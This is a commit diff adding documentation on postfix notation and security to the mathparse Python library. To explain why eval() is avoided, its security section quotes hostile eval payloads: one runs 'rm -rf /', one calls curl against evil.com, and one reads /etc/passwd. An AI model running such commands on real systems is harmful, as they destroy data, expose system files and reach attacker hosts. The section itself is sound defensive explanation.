Skip to content

Commit ecd832b

Browse files
committed
Add notes on security
1 parent 145c1f8 commit ecd832b

2 files changed

Lines changed: 254 additions & 2 deletions

File tree

‎docs/postfix.rst‎

Lines changed: 248 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,255 @@ Postfix
22
=======
33

44
The postfix notation, also known as `Reverse Polish Notation (RPN)`_, is a mathematical notation in which every operator follows all of its operands.
5-
It is used in mathparse to evaluate expressions efficiently.
5+
It is used in mathparse to evaluate expressions efficiently and safely.
66

7-
Additionally, mathparse does not employ the use of Python's :py:func:`eval` function when evaluating provided mathematical expressions.
7+
Notably, mathparse does not employ the use of Python's :py:func:`eval` function when evaluating provided mathematical expressions.
88
This is a measure to prevent arbitrary code execution vulnerabilities.
99

10+
Postfix Notation
11+
----------------
12+
13+
In postfix notation, mathematical operators are placed after their operands, eliminating the need for parentheses to specify the order of operations. This permits evaluation using a stack-based algorithm.
14+
15+
Basic Examples
16+
~~~~~~~~~~~~~~
17+
18+
Some examples comparing infix and postfix notation are as follows:
19+
20+
.. list-table:: Infix vs Postfix Examples
21+
:widths: 40 40 20
22+
:header-rows: 1
23+
24+
* - Infix Expression
25+
- Postfix Expression
26+
- Result
27+
* - ``3 + 4``
28+
- ``3 4 +``
29+
- ``7``
30+
* - ``5 * (2 + 3)``
31+
- ``5 2 3 + *``
32+
- ``25``
33+
* - ``(8 - 3) * 2``
34+
- ``8 3 - 2 *``
35+
- ``10``
36+
* - ``6 / 2 + 1``
37+
- ``6 2 / 1 +``
38+
- ``4``
39+
40+
Stack-Based Evaluation
41+
~~~~~~~~~~~~~~~~~~~~~~
42+
43+
Postfix expressions are evaluated using a stack:
44+
45+
1. **Scan from left to right**: Process each token in the expression
46+
2. **Numbers**: Push numbers onto the stack
47+
3. **Operators**: Pop required operands from stack, apply operation, push result back
48+
4. **Final result**: The remaining value on the stack is the answer
49+
50+
Example evaluation of ``3 4 + 2 *``:
51+
52+
.. code-block:: text
53+
54+
Token: 3 Stack: [3]
55+
Token: 4 Stack: [3, 4]
56+
Token: + Stack: [7] (pop 4, pop 3, push 3+4=7)
57+
Token: 2 Stack: [7, 2]
58+
Token: * Stack: [14] (pop 2, pop 7, push 7*2=14)
59+
Result: 14
60+
61+
Postfix vs Infix Notation
62+
--------------------------
63+
64+
Understanding the differences between postfix and infix notation helps explain why mathparse uses the postfix approach.
65+
66+
Infix Notation (Traditional)
67+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
68+
69+
**Advantages:**
70+
- Natural and intuitive for humans
71+
- Matches mathematical conventions
72+
- Easy to read and write
73+
74+
**Disadvantages:**
75+
- Requires parentheses for complex expressions
76+
- Needs operator precedence rules (PEMDAS/BODMAS)
77+
- More complex to parse and evaluate programmatically
78+
- Ambiguity without proper precedence handling
79+
80+
**Example challenges:**
81+
- ``2 + 3 * 4`` could be interpreted as ``(2 + 3) * 4 = 20`` or ``2 + (3 * 4) = 14``
82+
- ``a - b + c`` requires left-to-right evaluation rules
83+
84+
Postfix Notation (RPN)
85+
~~~~~~~~~~~~~~~~~~~~~~
86+
87+
**Advantages:**
88+
- No parentheses needed - order is explicit
89+
- No operator precedence rules required
90+
- Simple, efficient evaluation algorithm
91+
- Unambiguous expression evaluation
92+
- Natural fit for stack-based computation
93+
94+
**Disadvantages:**
95+
- Less intuitive for humans initially
96+
- Requires learning a different notation system
97+
98+
**Why mathparse uses postfix:**
99+
100+
1. **Simplicity**: Stack-based evaluation is straightforward and reliable
101+
2. **Efficiency**: Linear time complexity with minimal memory overhead
102+
3. **Safety**: No need for complex parsing that could introduce vulnerabilities
103+
4. **Correctness**: Eliminates ambiguity in expression evaluation
104+
105+
Implementation in mathparse
106+
~~~~~~~~~~~~~~~~~~~~~~~~~~~
107+
108+
The mathparse library converts infix expressions to postfix using the `Shunting-yard algorithm`_:
109+
110+
.. code-block:: python
111+
112+
# Example: "3 + 4 * 2" becomes [3, 4, 2, '*', '+']
113+
tokens = tokenize("3 + 4 * 2") # ['3', '+', '4', '*', '2']
114+
postfix = to_postfix(tokens) # [3, 4, 2, '*', '+']
115+
result = evaluate_postfix(postfix) # 11
116+
117+
The conversion process respects operator precedence:
118+
- Higher precedence: ``^`` (exponentiation), ``*``, ``/``
119+
- Lower precedence: ``+``, ``-``
120+
- Parentheses override natural precedence
121+
122+
123+
Security: Avoiding eval() Vulnerabilities
124+
-----------------------------------------
125+
126+
One of the key design decisions in mathparse is avoiding Python's :py:func:`eval` function, which poses significant security risks.
127+
128+
The eval() Security Problem
129+
~~~~~~~~~~~~~~~~~~~~~~~~~~~
130+
131+
Python's :py:func:`eval` function executes arbitrary Python code, making it dangerous for processing untrusted input:
132+
133+
**Dangerous examples:**
134+
135+
.. code-block:: python
136+
137+
# These could execute malicious code:
138+
eval("__import__('os').system('rm -rf /')") # Delete files
139+
eval("__import__('subprocess').call(['curl', 'evil.com'])") # Network access
140+
eval("open('/etc/passwd').read()") # Read sensitive files
141+
142+
**Why eval() is problematic:**
143+
144+
- **Arbitrary code execution**: Any Python code can be run
145+
- **System access**: File system, network, and system calls available
146+
- **Privilege escalation**: Runs with the application's permissions
147+
- **Hard to sanitize**: Input filtering is complex and error-prone
148+
- **Supply chain attacks**: Malicious expressions can be injected
149+
150+
Common Attempted "Solutions"
151+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
152+
153+
Several approaches are often tried to make :py:func:`eval` "safe," but all have significant flaws:
154+
155+
**Restricted globals/locals:**
156+
157+
.. code-block:: python
158+
159+
# Still vulnerable!
160+
eval(expression, {"__builtins__": {}}, {})
161+
162+
*Problem*: Python's introspection allows access to dangerous functions through object attributes.
163+
164+
**Input validation/filtering:**
165+
166+
.. code-block:: python
167+
168+
# Blacklist approach - easily bypassed
169+
if 'import' not in expression and 'exec' not in expression:
170+
result = eval(expression)
171+
172+
*Problem*: Blacklists are incomplete and can be circumvented with encoding, obfuscation, or alternative access methods.
173+
174+
**Sandboxing:**
175+
176+
.. code-block:: python
177+
178+
# Complex sandboxing attempts
179+
safe_dict = {'__builtins__': {'abs': abs, 'max': max}}
180+
result = eval(expression, safe_dict)
181+
182+
*Problem*: Python's dynamic nature makes true sandboxing extremely difficult and often broken.
183+
184+
mathparse's Safe Approach
185+
~~~~~~~~~~~~~~~~~~~~~~~~~
186+
187+
Instead of trying to make :py:func:`eval` safe, mathparse implements a purpose-built mathematical expression evaluator:
188+
189+
**Safe parsing pipeline:**
190+
191+
1. **Tokenization**: Break input into mathematical tokens only
192+
2. **Validation**: Each token is checked against allowed mathematical symbols
193+
3. **Conversion**: Transform to postfix notation using known algorithms
194+
4. **Evaluation**: Use stack-based evaluation with predefined operations
195+
196+
**Security benefits:**
197+
198+
.. code-block:: python
199+
200+
# mathparse only recognizes mathematical operations
201+
parse("2 + 3 * 4") # ✓ Returns 14
202+
parse("sqrt(16) + pi") # ✓ Returns 7.141693
203+
parse("__import__('os').system('ls')") # ✓ Raises PostfixTokenEvaluationException
204+
205+
**Allowed operations only:**
206+
207+
- **Numbers**: Integers, floats, and mathematical constants (``pi``, ``e``)
208+
- **Binary operators**: ``+``, ``-``, ``*``, ``/``, ``^``
209+
- **Unary functions**: ``sqrt``, ``log``
210+
- **Grouping**: Parentheses for expression grouping
211+
- **Word parsing**: Mathematical terms in various languages
212+
213+
**What's explicitly prevented:**
214+
215+
- Function calls (except predefined math functions)
216+
- Variable assignments or access
217+
- Import statements or module access
218+
- File system operations
219+
- Network operations
220+
- Any non-mathematical operations
221+
222+
General Recommendations
223+
~~~~~~~~~~~~~~~~~~~~~~~
224+
225+
When building applications that evaluate user-provided mathematical expressions:
226+
227+
1. **Use purpose-built parsers**: Like mathparse for mathematical expressions
228+
2. **Validate input early**: Check tokens against allowed operations
229+
3. **Limit complexity**: Set bounds on expression depth and length
230+
231+
Example secure usage:
232+
233+
.. code-block:: python
234+
235+
def safe_calculate(user_input):
236+
try:
237+
# mathparse safely evaluates mathematical expressions
238+
result = parse(user_input)
239+
return result
240+
except PostfixTokenEvaluationException as e:
241+
# Handle mathematical errors appropriately
242+
return f"Invalid expression: {e}"
243+
except Exception as e:
244+
# Log unexpected errors for debugging
245+
logger.error(f"Unexpected error: {e}")
246+
return "Calculation failed"
247+
248+
# Safe examples:
249+
safe_calculate("2 + 3 * 4") # Returns 14
250+
safe_calculate("malicious_code()") # Returns "Invalid expression: ..."
251+
252+
By using postfix notation and avoiding :py:func:`eval`, mathparse provides a secure, efficient, and reliable way to evaluate mathematical expressions from untrusted sources.
253+
10254
.. _`Reverse Polish Notation (RPN)`: https://en.wikipedia.org/wiki/Reverse_Polish_notation
255+
256+
.. _`Shunting-yard algorithm`: https://en.wikipedia.org/wiki/Shunting-yard_algorithm

‎docs/setup.rst‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -48,4 +48,10 @@ Then, from the root of the repository, run:
4848
4949
sphinx-build -nW -b dirhtml docs/ html/
5050
51+
You can then open the generated HTML files in the `html/` directory, or serve them using a command such as:
52+
53+
.. code-block:: shell
54+
55+
python -m http.server --directory html 8000
56+
5157
.. _`ISO 639-2`: https://www.loc.gov/standards/iso639-2/php/code_list.php

0 commit comments

Comments
 (0)